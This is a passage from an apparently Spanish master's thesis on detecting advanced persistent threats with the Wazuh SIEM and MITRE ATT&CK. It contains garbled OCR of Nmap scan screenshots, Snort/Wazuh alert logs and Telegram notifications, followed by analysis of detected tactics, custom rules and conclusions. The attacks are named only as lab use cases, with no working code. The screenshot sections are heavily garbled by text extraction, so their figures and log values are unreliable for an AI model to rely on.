9 Sufijo DNS especifico para la conexién.

Quickstart Adaptador de Ethernet Ethernet:

Installation guide Sufijo DNS especifico para la conexidn. 3

Direccién IPv4. . . . . . . . . . . . . . :172.16.16.101
; ; Mascara de subred . . . . . . . . . . . . : 255.255.255.0
Installation alternativ
Puerta de enlace predeterminada . . . . . : 172.16.16.1

User manual Adaptador de Ethernet VMware Network Adapter VMnetl:

Cloud security Sufijo DNS especifico para la conexidn. . :
Direcciéon IPvd4. . . . . . . . . . . . . . :172.17.17.1
Regulatory complian Mascara de subred . . . . . . . . . . . . : 255.255.,255.0
Puerta de enlace predeterminada . Lo
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Figura 155

Datos de red de la maquina atacante

Kali Linux NW

File Actions Edit View Help

1 2 ms 172.16.16.101

0s and tion performed. r i I lts 2 rg/submit/ .
Nmap dome: ess (1 host up)

1P, RROADCAST . RUNNTNG . MUIL TTCAST> _mtu_ 1500
=

ernet)
(G1:))
]
(G1:))
r collisions @
<UP, LOOPBACK , RUNNING

.0.0.1 Kk

prefi.
ueuelen 1000

dropped @
Rytes

dropped @ o J collisions @

< pointer inside or press Ctrl+G.

Figura 156

Ejecucion del escaneo por NMAP

nmap.org ) at 2

Host is up (@
Not shown: 9 set)
I0N
osoft Windows R
osoft Windows netbios-ssn

re Authentication Daemon 1.18 (Use
e Authent tion Daemon 1.0 (Use
osoft HTTPAPI httpd 2.@ (5SDP/UPNP)

-header:

http @ (SSDP/UPnP)

nt time
rmation (Kunshan))
at 05 is running on org/submit/
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Figura 157

Ejecucion del escaneo por NMAP

Kali Linux NW

B eomkoar)-

File Actions Edit View Help
% )T1(R=YXDF

NetBIOS name: LAPTOP-O@P7VGRI, NetBIOS user: NetBIOS
25-05-19T084:13:5

N/A

HOP RTT
1 0.99 ms

ADDRESS
172.16.16.101

incor
seconds

ice detection formed. P d rt an
1 IP address (1 host up)

se pointer inside or press

Figura 158

Visualizacion de logs en el SIEM Wazuh

Discover

manager.name: wazuh-server x | |rulelevek 71011 x | (@ Add filter

Courtt

ruld level sgent.ip data.srcip data.dstip rule.id

e 12 6.16.19 20160

] 72.16.16.112  172.16.16.781

] 6.112 6.18 61883768

e 6.16.19

] 72.16.16.112  172.16.16.188

] 6.112 6.188

e 6.16.108 g 20108
72.16.16.172  172.16.16.188 6181

%43.852 - May 18, 2025 @ 23:]
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/submit/

213 hits
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rule.description

Firet

First
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time

time
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time
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Figura 159

Visualizacion de logs en el SIEM Wazuh

= Mew Save Open Shae  Reporting Inspect | [ a
= 172.16.16.112  172.16.16.181 172.16.16.168:3603 26188 First time this IDS alert is generated 26108 ey 19 BA68:50 kaliz snort[S22901) . [119:228.1) “(htse dncoct) cer
= 2 <pon heg y {TCP} 172 1616 18
f |. 69:
172.16.16.112  172.16.16.188 172.16.16.181:135 26100 First time this ID! s generated. 26100 ey 19,94:08:33 kaliz snors(342991 3:1] - (zea) TCP he
w ALK, or RST" [Rriority: 31 {TCP) [72.18.16 188536818
RUIRES
172.16.16.112 172.16.16.188 172.16.16.181:1 28188 First time this IDS alert is generated 28108
172.16.16.112  172.16.16.188 i72.16.16.181:1 28100 First time this I0S slert is generated. 26100
172.16.16.112  172.16.16.188 172.16.16.101:1 28188 First time this IDS alert is generated 28108 Mey 19 B4:08.34 kliz snort[S409911. [116:4811] - (1cp) Nagp NS st
a(k detected” [Priority 1TCe 18836521 -» 1
I 172.16.16.112  172.16.16.188 172.16.16.181:135 26100 First time thi: ert iz gensrated. 26100 May 12

ing_ec|
8517 -»

172.16.16.112  172.16.16.188 172.16.16.181:135 28108 First time thi alert is generated 20188 ey 19 B4:08:54 srort]s2931] . 171
P Tertoracy: 51 trcay
172.16.16.112  172.16.16.188 172.16.16.181:135 20108 First time thi ert is generated 20180 May 13 B4:28:54 ksliz snorzls2981]: [11
ack etet ed” [Priority: 3] {TCP}
172.16.16.112  172.16.16.188 172.16.16.181:135 28108 First time this IDS alert is generated 20188
'u
172.16.16.112  172.16.16.188 172.16.16.181:9888 20100 First time this IDS slert is generated 20180 May 19 B i3 snort[sa29001]: 1122 *(part_scan)
v Brioris oca36d1 - 155 8
172.16.16.112  172.76.16.781 172.16.16.188:88 20151 Multiple IDS events from same source ip. 20151 May 10 B4:02:1 42991 : [1:186893:1] "Port scanning det
reed? TR 1 6 - '172.16.76.108:88
1721616112 172.16.16.181 172.16.16.188:88 28152 Multiple T0S alerts for same id 20152 May 19 B4:02:19 kaliz snort[542991]: [1:186883:1] "Port scanning det
ected” {T0P) 1721616 101 63643 -5 172 1615 108:8B
533 Listened ports status (netstat) changed (new por 532 ‘netstat listening ports
opened ar closed) 6.8+ Jusr

Se generaron 20 eventos de IDS con firmas diversas, relacionadas principalmente con
actividades de reconocimiento y escaneo en la red, asi como bcomportamientos andmalos en la
comunicacion TCP e inspeccion HTTP desde las 23:08 - 23:09 del 18/05/2025:

e Tipos de alertas detectadas:

o Reconocimiento y escaneo de puertos (por ejemplo, alertas de port scan TCP).
o Inspeccion HTTP anomala (respuestas del servidor a solicitudes del cliente).
o Ataques TCP sospechosos, incluyendo XMAS scans y SYN con FIN.
o Trafico TCP inusual como datos enviados después de un reset TCP o paquetes
TCP sin flags SYN, ACK o RST
e Origen probable del atacante
o IP 172.16.16.108 realizando escaneos y pruebas sobre el host 172.16.16.101.
e Técnicas utilizadas:

o Escaneo XMAS (paquetes con flags inusuales para mapear puertos abiertos).
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o Escaneo SYN con FIN, tipico de herramientas de reconocimiento como
Nmap.
o Analisis de respuestas HTTP fuera de orden esperado (respuesta del servidor
antes que la solicitud).
e (aracteristicas del ataque:
o Multiples eventos similares generados en un breve intervalo de tiempo.
o Indicativo de escaneo activo y reconocimiento de red.
o Uso de técnicas avanzadas para evadir deteccion simple, evidenciado por las

firmas detectadas por Snort.
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Tabla 44

Detalle de alertas

Tiemp Rule Agente IP Origen Destino MITRE  Descripcio
o ID ATT&CK n (Snort)
(local)
May 2010 172.16.16.1 172.16.16.1 172.16.16.108:592 T1040 - (stream_tcp
18, 0 12 01 36 Network ) data sent
23:09:0 Sniffing on stream
3 after TCP
reset sent
May 2010 172.16.16.1 172.16.16.1 172.16.16.108:379 T1040 - (http_inspec
18, 0 12 01 40 Network t) server
23:09:0 Sniffing response
1 before
client
request
May 2010 172.16.16.1 172.16.16.1 172.16.16.108:376 T1040 - (stream_tcp
18, 0 12 01 04 Network ) data sent
23:09:0 Sniffing on stream
0 after TCP
reset sent
May 2010 172.16.16.1 172.16.16.1 172.16.16.108:369 T1040 - (http_inspec
18, 0 12 01 32 Network t) server
23:09:0 Sniffing response
0 before
client
request
May 2010 172.16.16.1 172.16.16.1 172.16.16.101:135 T1046 - (tcp) TCP
18, 0 12 08 Network has no
23:08:5 Service SYN, ACK,
9 Scanning  or RST
May 2010 172.16.16.1 172.16.16.1 172.16.16.101:1 T1046 - (tcp) TCP
18, 0 12 08 Network PDU
23:08:5 Service missing ack
9 Scanning  for
established
session
May 2010 172.16.16.1 172.16.16.1 172.16.16.101:1 T1046 - (tcp) TCP
18, 0 12 08 Network has no
23:08:5 Service SYN, ACK,
9 Scanning  or RST
May 2010 172.16.16.1 172.16.16.1 172.16.16.101:1 T1046 - (tcp) Nmap
18, 0 12 08 Network XMAS
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Tiemp Rule Agente IP Origen Destino MITRE  Descripcio
0 ID ATT&CK  n (Snort)
(local)
23:08:5 Service attack
9 Scanning  detected
May 2010 172.16.16.1 172.16.16.1 172.16.16.101:135 T1046 - (tcp) TCP
18, 0 12 08 Network PDU
23:08:5 Service missing ack
9 Scanning  for
established
session
May 2010 172.16.16.1 172.16.16.1 172.16.16.101:135 T1046 - (tcp) TCP
18, 0 12 08 Network SYN with
23:08:5 Service FIN
9 Scanning
May 2010 172.16.16.1 172.16.16.1 172.16.16.101:135 T1046 - (tcp) Nmap
18, 0 12 08 Network XMAS
23:08:5 Service attack
9 Scanning  detected
May 2010 172.16.16.1 172.16.16.1 172.16.16.101:135 T1046 - (stream_tcp
18, 0 12 08 Network ) SYN on
23:08:5 Service established
8 Scanning  session
May 2010 172.16.16.1 172.16.16.1 172.16.16.101:888 T1046 - (port_scan)
18, 0 12 08 8 Network TCP
23:08:5 Service portscan
8 Scanning
May 2015 172.16.16.1 172.16.16.1 172.16.16.108:80  T1046 - Port
18, 1 12 01 Network scanning
23:08:5 Service detected
3 Scanning  (multiples
eventos)
May 2015 172.16.16.1 172.16.16.1 172.16.16.108:80  T1046 - Port
18, 2 12 01 Network scanning
23:08:5 Service detected
3 Scanning  (repetido)
May 533 - - - T1049 - Cambio de
18, System estado de
23:04:0 Network puertos
0 Connectio  abiertos
ns (netstat)

Discovery
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Se registraron un total de 18 alerta de prioridad 8,9 y 10 en las notificaciones entre las
23:08 y 23:09 del 18/05/2025 en Telegram, donde indican puntuablemente las eventos generados
por la actividad de escaneo con la herramienta NMAP , con este resultados se alerta en tiempo
real a través de este canal mediante el envid de notificaciones desde la SIEM Wazuh.
Figura 160

Recepcion de alertas a Telegram desde el SIEM Wazuh

. Wazuh_Respond_GP3_OpenSource

4 members
3 79280/python3\m§@ 255000 =*
. 79280/python3} 23:04

" "Multiple IDS alerts for same id.", "alert_level™: "10",
"agent”; "kaliz", "timestamp”: "2025-05-19T04:08:53.580+0000",
"srcip”: ", "dstip": " ", "full_log":
"May 19 04:02:19 kaliz snort[542991]: [1:100003:1] \"Port
scanning detected\" {TCP} >

{"description": "Multiple IDS events from same source ip.",
"alert_level": "10°, "agent™: "kaliz", "timestamp”; "2025-05-
19T04:08:53.581+0000", "srcip™: " ", "dstip";
! ", "full_log"; "May 19 04:02:19 kaliz
snort[542991]: [1:100003:1] \"Port scanning detected\" {TCP}

> "} e

{"description": "First time this IDS alert is generated.’, "alert_level":
"8", "agent": "kaliz", "timestamp": "2025-05-
19T04:08:58.642+0000", "srcip™: " ", "dstip™:

* ", "full_log": "May 19 04:08:25 kaliz
snort[542991]: [122:1:1] \"(port_scan) TCP portscan\" [Priority: 3]
{TCP} > } 2300

{"description": "First time this IDS alert is generated.’, "alert_level":
"8", "agent": "kaliz", "timestamp": "2025-05-
19T04:08:58.656+0000", "srcip™: " ", "dstip";

* ", "full_log": "May 19 04:08:53 kaliz
snort[542991]: [129:1:1] \"(stream_tcp) SYN on established

© NMmA
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A continuacion, se detalla las alertas notificadas en el canal de Telegram
Figura 161

Alertas de notificacion Telegram

{"description”; "Multiple IDS alerts for same id.", "alert_level™ "10°, "agent™: "kaliz", "timestamp”:
"2025-05-19T04:08:53.580+0000", "srcip™ " ", "dstip”; *, “full_log™
"May 19 04:02:19 kaliz snort[542991]: [1:100003:1] \"Port scanning detected\" {TCP}

"}

-=

{"description”: "Multiple IDS events from same source ip.”, "alert_level”: "10°, "agent™ "kaliz",
“timestamp” "2025-05-19T04:08:53.581+0000", "srcip™ " "dstip"™

. " “full_log™ "May 19 04:02:19 kaliz snort[542991]: [1 100003:1] \"Port
[scanning detected\ {TCF} = }

{"description". "First time this IDS alert is generated ", "alert_level™ "8, "agent": "kaliz",
tlme.:tamp' "2025-0519T04:08:58.642+0000", STip™

" "full_log™: "May 19 04:08:25 kaliz snort{542991]: [122:1:1] \'(port_scan)
TCP portscan\” [F’norlty. 3] {TCP} = "}

{"description”: "First time this IDS alert is generated.”, "alert _level™ "8", "agent”: "kaljz",
“timestamp” "2025-05-19T04:08:58.656+0000", " ", "dstip™

Figura 162

Alertas de notificacion Telegram

. ", "full_log": "May 19 04:08:53 kaliz snort[542991]: [129:1:1] \"(stream. Icph
SYN on established session\” [Priority: 3] {TCP} =

{"description” "First time this IDS alert is generated.”, "alert_level™ "8, 'agen‘c"-
Ilmeatamp' "2025-05-19T04:08:59.349+0000", "srcip™ "

" "full_log": "May 19 04:08:54 kaliz snort[542991]: [1 16401 HIAY {tcthmap
XMAS attack detected'\" [Priority: 3] {TCP} =

{"description” "First time this IDS alert is generated.”, "alert_level™ "8", 'agen‘["-
tlmeatamp' "2025-05-19T04:08:59.352+0000", "srci|

", "full_log": "May 19 04:08:54 kaliz snort[542991]: [1 164
SYN with FINV" [Pnc-rlty. 3]{TCP} -

Ilmeatamp' "ZEI"’S-EI 5-19T04: DB 59.353+0000", "srci
", "full_log™: "May 19 04:08:54 kaliz :.ncn[54299‘|] [ 'Iﬁ A2
PDU missing ack for established session\" [Priority: 3] {TCF}

-
¥

{"description” "First time this IDS alert is generated.”, "alert_level™ "8", "a
tIITIEatEfTID' "2025-05-19T04:08:59.483+0000", "srcip™ " I

" "full_log": "May 19 04:08:54 kaliz snort{542991]: [116:401:1] \"(tcp) Nmap
XMAS attack detected'\" [Priority: 3] {TCP} = %}
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Figura 163

Alertas de notificacion Telegram

{"description”: "First time this IDS alert is generated.”, "alert_level™ "8°, "agemt” "kalz",
ume.:tamp' "2025-05-19T04:08:59.485+0000", "srcip™: " " "dstip"™:

" "full_log": "May 19 04:08:54 kaliz snorf[542991]: [116:423:1] \"{tcp) TCP has
no SYN, ACK, or R'-‘\T\." [Priority: 3] {TCP} = "

{"description”: "First time this IDS alert is generated.”, "alert_level™ "8°, "agemt” "kalz",
tlme.:tam " "2025-0519T04:08:59.498+0000", "srcip™ " " "dstip™

" "full_log": "May 19 04:08:54 kaliz snort[542991]: [116:422:1] \"{tcp) TCP PDU
missing ack for et"ta blished session\” [Priority: 3] {TCF} =

-
}

{"description”: "First time this IDS alert is generated.”, "alert_level™ "8, "agemt™ “kaliz",
“imestamp"; "2025-05-19T04:08:59.883+0000", "srcip™: " " "dstip":

Figura 164

Alertas de notificacion Telegram

- " *full_log": "May 19 04:08:55 kaliz snort[542991]: [116:423:1) \(icp) TCP
has no SYN, ACK, or RST\" [Priority: 3] {TCP} > "

{"description” "First time this IDS alert is generated.”, "alert_level™ "8°, "agent”. “kaliz",
TII'I"IE'.:-'EHFFID' "2025-05197T04:09:00. 762+0000", "srcip™: " " "dstip™:

" "full_log": "May 19 04:08:56 kaliz snort[342991]: [1 19:228:1]
\{htip_inspect) server re:-pnn:-e before client request” [Priority: 3] {TCF}

t

{"description”: "First time this IDS alert is generated.”, "alert_level™ "8%, "agent”. "kaliz",
“timestamp”; "2025-05-19T04:09:00.847+0000", "srcip™ " " "dstip”:
g " "full_log": "May 19 04:08:56 kaliz snort[542991]: [129:8:1] \"(stream_icp)
data sent on stream after TCP reset sent\” [Priority: 3] {TCF} -

t

{"description™ "First time this IDS alert is generated.”, "alert_level™ "8", "agent™ "kaliz",
“timestamp”; "2025-05-19T04:09:07.046+0000", "srcip™: " " "dstip":
y " "full_log": "May 19 04:08:57 kaliz snort[542991): [119:228:1]
\{http_inspect) server response before client request\” [Priority: 3] {TCP}

§

{"description” "First time this IDS alert is generated.”, "alert_level™ "8°, "agent”. “kaliz",
TII'I"IE'.:thD' "2025-05-19T704:09:03.862+0000", "srcip™: " " "dstip":

" "full_log": "May 19 04:09:01 kaliz snort[542991]): [1‘29 B8:1] \(stream_tcp)
data sent on siream aftPr TCP reset sent\" [Priority: 3] {TCF} =

t
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Figura 165

Respuesta en telegram

. Wazuh_Respond_GP3_OpenSource
4 members

{"aescription’: "FIrst ume tnis IUS alert IS generatea.’, -aleriever:
"8", "agent": "kaliz", "timestamp": "2025-05-
19T04:08:59.352+0000", "srcip™ " ", "dstip™
" *, "full_log": "May 19 04:08:54 kaliz
snort[542991]: [116:420:1] \"(tcp) TCP SYN with FIN\" [Prioritir: 3]
{TCP} - } .

{"description": "First time this IDS alert is generated.”, "alert_le el
"8", "agent": "kaliz", "timestamp": "2025-05-
19T04:08:59.353+0000", "srcip™ " ", "dstip™
" *, "full_log": "May 19 04:08:54 kaliz
snort[542991]: [116:422:1] \"(tcp) TCP PDU missing ack for
established session\" [Priority: 3] {TCP}

)

{"description: "First time this IDS alert is generated.’, "alert_leel":

"8", "agent": "kaliz", "timestamp": "2025-05-
19T04:08:59.483+0000", "srcip™: " ", "dstip™:

" ", "full_loa": "Mayv 19 04:08:54 kaliz
snort[542991]: [116:401:1] \"(tcp) Nmap XMAS attack detected\"
LPriority: 3] {TCP} > } )
{"description": "First time this IDS alert is generated.’, "alert_lesel":
"8", "agent": "kaliz", "timestamp": "2025-05-
19T04:08:59.485+0000", "srcip™: " ", "dstip™

" ", "full_log": "May 19 04:08:54 kaliz
snort[542991]: [116:423:1] \"(tcp) TCP has no SYN, ACK, or
[Priority: 3] {TCP} > "

{"description": "First time this IDS alert is generated.”, "alert_le el
"' "spaant"- "kaliz" "timactamn"- "2N?E5_.NE&-

© NMA
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CAPITULO 4:

4. Analisis de Resultados

En el presente proyecto se llevé a cabo un andlisis de casos de uso vinculados a tacticas
del marco MITRE ATT&CK, con el fin de evaluar la eficacia de una SIEM Open Source en este
caso Wazuh implementado en un entorno con diferentes activos, como Windows Server 2019,
Apache Web Server, Metasploitable y Snort Server. Para ello, se simularon ataques comunes
mediante herramientas de pentesting como Nessus, NMAP, entre otras, adicional se clasificaron
las alertas detectadas segun las tacticas de acuerdo al Marco Mitre, como Accesos Iniciales,
Escalada de Privilegios, Evasion de Defensa, entre otras. La informacion fue centralizada y
representada graficamente para comprender qué tacticas son mas comunes y qué activos son mas
vulnerables o expuestos.

Todos los resultados obtenidos se han representado en una tabla que muestra un resumen
cuantitativo de las tacticas del marco MITRE ATT&CK detectadas durante las simulaciones de
ataque realizadas en un entorno controlado utilizando la plataforma SIEM Wazuh como
herramienta central de monitoreo y correlacion de eventos. Los valores registrados indican la
frecuencia con la que Wazuh detect6 actividad asociada a cada tactica, lo que permite evidenciar
qué fases del ataque son mas recurrentes y qué tan efectiva es la cobertura del sistema frente a
amenazas persistentes avanzadas. Este andlisis resulta fundamental para reforzar las capacidades

de deteccion y mejorar la postura de ciberseguridad del entorno monitoreado.
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Tabla 45

Casos de uso vs tacticas del Framework Mitre ATT&CK
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4.1. Tacticas mas Afectadas

Segun los resultados obtenidos se ha representado mediante un grafico las tacticas del
marco MITRE mas frecuentemente asociadas a los eventos detectados como se muestra a
continuacion:
Figura 166

Tacticas Mitre vs Caso de usos genreados

Tacticas Mitre vs #Total de Casos de Uso Generados

16
14
12
10
8
6
4
2 I |
0 [ |
Eva5|o Escala Movi Acces Desarr Coma
nde dade Persist mient oa Ejecuc Impac ollo de Recopi ndoy  Exfiltr
br|m e ocimie
., Defen Privile encia o Crede ion to Recurs lacion Contr acion
Inicial . nto . nto
sa gios Lateral nciales o ol

HTotal 15 12 11 9 7 6 5 3 3 3 1 0 0 0

El grafico de "Tacticas Mitre" representa los resultados de las pruebas de pentesting
realizadas en los activos: Windows Server 2019, Snort Server, Metasploitable Server y Apache
Web. Los datos, que en este contexto se interpretan como casos de uso observados o recurrentes
durante las pruebas, indican la frecuencia con la que se lograron o detectaron diversas tacticas
del framework MITRE ATT&CK.

La tactica mas prominente y frecuentemente observada, siendo la mas emblematica
dentro del framework en este contexto de pruebas de penetracion, es el "Acceso Inicial", con un
recuento de 15 casos de uso. Esto subraya que la capacidad de obtener un punto de entrada

inicial en los activos es el vector mas comun o el mas detectado en las pruebas realizadas.
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Le sigue de cerca la tactica de "Evasion de Defensas", con 12 casos de uso, y el
"Escalamiento de Privilegios", con 11 casos de uso. Esto sugiere que, una vez que se logra el
acceso inicial, la capacidad de evadir las medidas de seguridad y la elevacion de privilegios
dentro de los sistemas son las acciones subsiguientes mas habituales y exitosas que se pudieron
explotar durante las pruebas de pentesting.

Luego, "Persistencia" se muestra con 9 casos de uso, seguida por "Movimiento Lateral"
(7 casos de uso), "Descubrimiento” (6 casos de uso) y "Acceso a Credenciales" (5 casos de uso).
La presencia de estos casos de uso indica el avance y la capacidad de los pentesters para moverse
dentro de la red, obtener informacion y credenciales, y establecer puntos de apoyo duraderos.

Es notable la ausencia total de casos de uso para las tacticas de "Recopilacion”,
"Comando y Control" y "Exfiltracion" en los resultados de estas pruebas. Esto es un hallazgo
importante, ya que indica que, a pesar del éxito en las fases iniciales y de explotacion, no se
logré avanzar hacia las fases finales del ciclo de ataque en estos activos especificos, lo que
sugiere posibles controles o la complejidad inherente a la exfiltracion de datos o el

establecimiento de un canal de C2.

4.2. Anadlisis de Casos de Uso Simulados

El analisis de las pruebas de pentesting revela una clara concentracion de "casos de uso"
exitosos en las fases iniciales del ciclo de vida de un ataque. El grafico "Ataques APT vs Total
Casos de Uso Generados" detalla que las técnicas mas recurrentes son el Escaneo de Puerto y el
Acceso Remoto por SSH/Telnet, ambas con 7 casos de uso, lo que subraya la vulnerabilidad de
los activos ante el reconocimiento activo y los intentos de acceso directo. Otras técnicas
altamente recurrentes incluyen la Fuerza Bruta, la Deteccion de Credenciales Validas, la

Creacion de Usuarios y la Enumeracion de Grupos Locales (todas con 6 casos de uso), indicando
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que los atacantes lograron exitosamente obtener credenciales y establecer un punto de apoyo

interno para exploracion y persistencia.

#Total Casos de Uso vs Ataques APT

Inyeccidon SQLMap a una Aplicacion Web s 1
Escaneo Aplicaciones Web Mediante Nessus I 2
Inyeccién de Script Malicioso en una Aplicacion... I ?
Shell Reverso a una Aplicaciéon Web I 2
Phishing IIIEEEG_—— 2
Inyeccidn SQL a una Aplicacién Web I 3
Escaneo con NMAP a un Sistema Operativo IS 3
Descarga de Archivos Maliciosos I /4
Explotacion de Vulnerabilidades I 4
Escaneo Dindmico con Nessus I 4
Escaneo con Nessus a un Sistema Operativo NN 5
Fuerza Bruta a un Sistema Operativo NN 5
Fuerza Bruta I 6
Ataque Escaneo de Deteccion de Credenciales... I
Creacion de Usuarios NN
Enumeracion de Grupos Locales NN 6
Escaneo de Puerto IIEEENNNNNNNNNNNNNNNNN——— 7
Acceso Remoto por SSH/Telnet I 7

4.3. Distribucion de Ataques por Activo

El anélisis de distribucion de los eventos de seguridad detectados en funcion de los
activos evaluados en el entorno de pruebas nos permite comprender cudles sistemas representan
un mayor punto de exposicion ante amenazas cibernéticas, segin su rol, servicios ofrecidos y
nivel de interaccion con otros equipos o usuarios. Entre los activos monitoreados, Windows
Server 2019 se posiciona como el mas afectado, acumulando un total de 28 eventos, seguido por
Apache Web Server con 21 eventos y Metasploitable con 20 eventos cabe destacar que la alta
deteccion en Metasploitable Server es esperada dada su naturaleza de sistema deliberadamente

vulnerable para pruebas. Esta distribucion evidencia que los sistemas que alojan servicios
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criticos, como aplicaciones web o componentes de autenticacion, tienden a ser objetivos
preferentes en simulaciones de ataque, lo que subraya la importancia de reforzar su monitoreo y
aplicar controles especificos de defensa adaptados a su perfil de exposicion.
Tabla 46

Activo con mayor deteccion de APT
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Figura 167

Activo con mayor deteccion de APT

Activo con mayor deteccion de APT

®m Windows Server 2019
= Metasploitable Server
Apache Web Server

Snort Server




DETECCION DE APT CON MITRE ATT&CK EN UNA SIEM

4.4. Aplicacion de Reglas Personalizadas

Tabla 47

Reglas Personalizadas

Activos

Regla por
Ataques defecto

Regla
Personalizada

Windows Server
2019

Metasploitable
Server

Apache Web
Server

Snort

Enumeracion de Grupos Locales

Creacion de Usuarios
Ataque Escaneo de Deteccion de
Credenciales Validas

Phishing

Escaneo Dinamico con Nessus
Explotacion de Vulnerabilidades
Fuerza Bruta

Acceso Remoto por SSH/Telnet
Escaneo de Puerto

Fuerza Bruta a un Sistema Operativo
Escaneo con Nessus a un Sistema
Operativo

Escaneo con NMAP a un Sistema
Operativo

Inyeccion SQLMap a una Aplicacion Web
Inyeccion SQL a una Aplicacion Web
Shell Reverso a una Aplicacion Web
Inyeccion de Script Malicioso en una
Aplicacion Web

Escaneo Aplicaciones Web Mediante
Nessus

Descarga de Archivos Maliciosos
Total

R R R P O O O =

[

N = =)

0
0
12

o O

O O OO kR +» +»r O

o

o O O -

Nota: La tabla muestra cuando ante un ataque fue necesario aplicar una regla personalizada

debido a que con las reglas por defecto no se detectd algunas tacticas de acuerdo al Framework

Mitre ATT&CK.

El analisis de la efectividad de las reglas de Wazuh, tanto por defecto como

personalizadas, en la identificacion de actividad maliciosa en Windows Server 2019, Apache

Web Server, Metasploitable Server y Snort, revela una estrategia de seguridad de dos niveles.
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Las reglas por defecto demostraron capacidad para generar casos de uso para actividad
tradicional y bien conocida, registrando un total de 12 casos de uso generados, lo que representa
el doble de los generados por las reglas personalizadas (6). Esto subraya su valor como una base
solida para la proteccion, particularmente en entornos predeciblemente vulnerables como
Metasploitable Server, donde la totalidad de los casos de uso (3) fueron identificados por reglas
estandar.

Sin embargo, la capacidad de las reglas personalizadas resulto ser esencial para generar
casos de uso de actividades mas sofisticadas y especificas del entorno. En Windows Server 2019,
si bien las reglas por defecto generaron casos de uso para actividades internas basicas (3), las
personalizadas fueron cruciales para identificar casos de uso de técnicas modernas como
phishing o escaneos avanzados (3 casos de uso), que son vectores frecuentes en entornos
empresariales. Para el Apache Web Server, aunque la mayoria de los casos de uso (6) fueron
generados por reglas por defecto (ej. inyeccion SQL, shell reverso), un caso de uso especifico de
escaneo con NMAP (1 caso de uso) requiri6 una regla personalizada, resaltando la necesidad de
anticipar las fases de reconocimiento.

El caso del Snort Server es particularmente revelador, ya que no se generd ningun caso de
uso con las reglas por defecto. Los tinicos casos de uso generados (2) fueron gracias a reglas
personalizadas (escaneo web con Nessus, descarga de archivos maliciosos). Esto evidencia que,
en activos especializados o con funciones de seguridad propias, la configuracion estandar de
Wazuh es insuficiente y la personalizacion es indispensable para generar casos de uso de

vectores de ataque contextuales y evitar puntos ciegos criticos.
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CAPITULO §:
5. CONCLUSIONES Y RECOMENDACIONES

5.1. Conclusiones

A lo largo del proyecto de fin de maestria, se han presentado grandes desafios para definir
casos de uso en base al framework MITRE ATT&CK que permitan la deteccion de amenazas
persistentes avanzadas mediante un SIEM Open Source como Wazuh. Uno de ellos fue la
configuracion del agente para que no solamente envie logs de eventos de seguridad a nivel de
sistema operativo, sino que también envie registros que permitan identificar si un atacante intenta
aprovechar vulnerabilidades a nivel de aplicaciones web. A pesar del desafio presentado, se
identifico las configuraciones necesarias para que el sistema operativo y aplicacion web envien
logs para su andlisis y correlacion en Wazuh, logrando de esta manera registrar actividades
sospechosas en aplicaciones web.

Con base en los hallazgos obtenidos al ejecutar una serie de ataques comunmente
utilizados en campaias de amenazas persistentes avanzadas en una aplicacion web, se concluye
que el framework MITRE ATT&CK ha demostrado ser una metodologia robusta para la
implementacion de casos de uso para identificar y clasificar actividades maliciosas. De igual
manera, los ataques simulados permitieron evaluar la capacidad de Wazuh como SIEM Open
Source para alinear los registros de eventos con tacticas y técnicas que permitan identificar de
forma temprana actividad inusual o sospechosa.

El uso de herramientas de pentest en un entorno de pruebas controlado se convirtieron en
la base fundamental para la definicion de casos de uso aplicables en un SIEM. Las pruebas

realizadas en una aplicacion web vulnerable como mutillidae permiti6 establecer patrones de
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comportamiento que permitieron a Wazuh correlacionarlo con tacticas y técnicas del MITRE
ATT&CK fortaleciendo de esta manera la deteccion de ataques APT en servicios web.

Integrar Metasploitable con Wazuh a través de Syslog permite enviar registros del
sistema de forma pasiva, sin modificar la configuracion de la méaquina virtual lo que facilita la
observacion de ataques desde una perspectiva externa. Esta estrategia permite al servidor Wazuh
recibir y analizar los registros de eventos criticos, como por ejemplo ataques de fuerza bruta
detectados en los logs de auth.log, donde se observan multiples intentos fallidos de inicio de
sesion a través de servicios como SSH y Telnet, generando mensajes que son captados por las
reglas predefinidas de Wazuh, también se visualizo la correlacion de eventos en el mismo. Esta
integracion es especialmente Util en simulaciones de entornos SOC, donde se observa el
comportamiento del atacante sin intervenir el sistema comprometido, replicando escenarios
reales donde muchos dispositivos no permiten la instalacion de agentes y dependen
exclusivamente de Syslog para su monitoreo.

El analisis de los registros capturados por Wazuh a partir de los ataques dirigidos a la
maquina Metasploitable revela una deteccion eficaz y estructurada de comportamientos
maliciosos alineados con técnicas del marco MITRE ATT&CK con lo cual fue posible identificar
eventos criticos como intentos de fuerza bruta, accesos exitosos, escalada de privilegios, creacion
de cuentas persistentes, escaneo de red e incluso movimiento lateral. Estos registros no solo
evidencian la progresion logica de un atacante en una cadena de compromiso, sino que también
demuestran la capacidad de Wazuh para correlacionar multiples tacticas y técnicas a lo largo del
tiempo. En conjunto, esta experiencia subraya la importancia de utilizar un enfoque de monitoreo
pasivo para entornos vulnerables, permitiendo detectar, clasificar y responder a amenazas sin

alterar el comportamiento del sistema comprometido.
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El analisis de los resultados de las pruebas de pentesting, particularmente la experiencia
con el Snort Server, lleva a una conclusion fundamental sobre la integracion de sistemas de
deteccion dentro de un SIEM. Se demuestra que, incluso si un IDS como Snort es un dispositivo
de deteccion perimetral, no necesariamente elimina la necesidad de instalar agentes en los
activos internos. Mas bien, subraya la utilidad critica de integrar el IDS como Snort con una
plataforma SIEM robusta como Wazuh. Esto es especialmente cierto cuando se dispone de reglas
de deteccion especificas (tanto por defecto como personalizadas) en Wazuh, disefadas para
interpretar y generar casos de uso a partir del trafico y los eventos que Snort u otros dispositivos
de seguridad capturan, como la descarga de malware o el escaneo de trafico.

La integracion de Snort directamente con Wazuh (como el SIEM central) es de una
utilidad inestimable. Permite que Wazuh genere casos de uso contextualizados a partir de las
detecciones tempranas de Snort, que son cruciales para identificar actividades en las primeras
fases del framework MITRE ATT&CK: el Reconocimiento y el Acceso Inicial. Como se observo
en los datos del Snort Server, donde no hubo casos de uso detectados por reglas por defecto de
Wazuh, la creacion de reglas personalizadas dentro de Wazuh para procesar las alertas de Snort
(que capturaron el escaneo web con Nessus y la descarga de archivos maliciosos) fue
indispensable. Esto significa que Snort, al alimentar a Wazuh con alertas especificas, proporciona
la visibilidad necesaria para que el SIEM detecte anomalias que afectan a la infraestructura desde
el primer momento, mucho antes de que el ataque escale.

Ademas, la capacidad de Wazuh para orquestar y enviar alertas criticas, como las de
Nivel 7 (o anomalias mayores que requieren atencion inmediata), mediante la integracion con
herramientas de notificacion como Telegram, ha demostrado ser un componente crucial. Esta

funcionalidad de notificacion en tiempo real, combinada con la inteligencia y correlacion de los
